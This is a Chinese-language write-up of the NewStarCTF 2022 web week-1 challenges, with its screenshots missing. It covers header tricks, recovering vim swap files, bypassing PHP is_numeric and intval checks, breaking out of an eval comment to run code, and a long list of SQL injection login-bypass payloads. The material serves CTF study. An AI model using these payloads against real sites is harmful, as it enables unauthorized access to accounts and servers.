NEWSTART2022 web week1

01HTTP 

 NEWSTART2022 web week1_第1张图片NEWSTART2022 web week1_第2张图片NEWSTART2022 web week1_第3张图片NEWSTART2022 web week1_第4张图片NEWSTART2022 web week1_第5张图片NEWSTART2022 web week1_第6张图片

flag{f1cb35f5-05de-4559-8f99-28e1f11df403} 

02Head?Header!NEWSTART2022 web week1_第7张图片

NEWSTART2022 web week1_第8张图片NEWSTART2022 web week1_第9张图片NEWSTART2022 web week1_第10张图片NEWSTART2022 web week1_第11张图片NEWSTART2022 web week1_第12张图片

或者xxf头:localhost

 03我真的会谢

NEWSTART2022 web week1_第13张图片

NEWSTART2022 web week1_第14张图片

这个题目比之前有意思多了 

可知是vim缓存,利用vim缓存知识:
使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除。vim异常退出后,因为未处理缓存文件不会被删除,可以通过缓存文件恢复原始文件内容以 index.php 为例:
第一次vim会创建缓存的交换文件名为 .index.php.swp,
再次意外退出后,将会产生名为 .index.php.swo 的交换文件,
第三次产生的交换文件则为 .index.php.swn。

所以利用:.index.php.swp查看目录
NEWSTART2022 web week1_第15张图片

由提示去找隐藏文件,有robots.txt 

NEWSTART2022 web week1_第16张图片

找www.zip 

 NEWSTART2022 web week1_第17张图片NEWSTART2022 web week1_第18张图片

flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?}

备份文件下载:通常.index.php.swp   .index.php.swp  www.zip  robots.txt\

04NOTPHP

这个题目是最有意思的一题 

NEWSTART2022 web week1_第19张图片

 PHP is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串。

语法
bool is_numeric ( mixed $var )
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,浮点型返回空值即 FALSE,不仅检查十进制,同时也检查十六进制

绕过方法 
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容

构造:

   ?num = 1%00
    ?num = 1%20
    ?num = 1'
    ?num = 1a

对于这道题来说只要在1后跟任意字符都可以绕过is_numeric函数的判断
这道题的主要考点并非is_numeric函数而是对弱等于的绕过

学习函数最好的方式就是去学习官方的,这样学习得到的收获更多一些,这里我们先来看一下这个函数定义

intval — 获取变量的整数值
1
而它的具体格式和解释如下

int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制 
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 
 

intval() 函数可以获取变量的「整数值」。常用于强制类型转换。

语法

int intval( $var, $base )
  • 1

参数

  • $var:需要转换成 integer 「变量」
  • $base:转换所使用的「进制」

    返回值

    返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。

  • 0:失败 或 空array 返回 0
  • 1:非空array 返回 1
  • 其他integer值:成功时 返回 $var 的 integer 值。

    返回值的「最大值」取决于系统

  • 32 位系统(-2147483648 到 2147483647)
  • 64 位系统(-9223372036854775808到9223372036854775807)

    最后汇总一下intval()函数漏洞的绕过思路:

    1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
    2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
    3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
    4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
    5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
    6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。NEWSTART2022 web week1_第20张图片NEWSTART2022 web week1_第21张图片

NEWSTART2022 web week1_第22张图片

在PHP中,#字符是注释符号,用于注释一行代码。当在eval函数中使用#时,它将注释掉$_GET['cmd']参数中#以及其后的所有内容,使其不会作为有效的PHP代码被执行。

eval("#".$_GET['cmd']);

eval() 函数把字符串按照 PHP 代码来计算

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

.拼接字符串,#后的被注释了,可以用%0a换行绕过,或者?>闭合。

%0a是换行符,#只能对后面的注释

?>将#闭合,使#无法在后面的语句中发挥作用

NEWSTART2022 web week1_第23张图片

NEWSTART2022 web week1_第24张图片

如果不用?>NEWSTART2022 web week1_第25张图片 后面会当字符串输出

NEWSTART2022 web week1_第26张图片 flag{26318b2d-58ac-4640-bd62-cdd9bbc25818}

得到flag

05Word-For-You

NEWSTART2022 web week1_第27张图片 把flag放到了数据库

这里试了试不写东西会有弹窗,有可能是sql xxs等等,先试试sql注入NEWSTART2022 web week1_第28张图片NEWSTART2022 web week1_第29张图片直接出来了,用and不行后面没注释也不行

NEWSTART2022 web week1_第30张图片用万能密码也行1′ or 1=1 or ‘1’=’1

用时间盲注测试也有反应,这里不做演示

得到flag:flag{Th1s_is_0_simp1e_S0L_test}

下面是积累的:

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
 

你可能感兴趣的:(nssctf,网络安全,web安全,安全)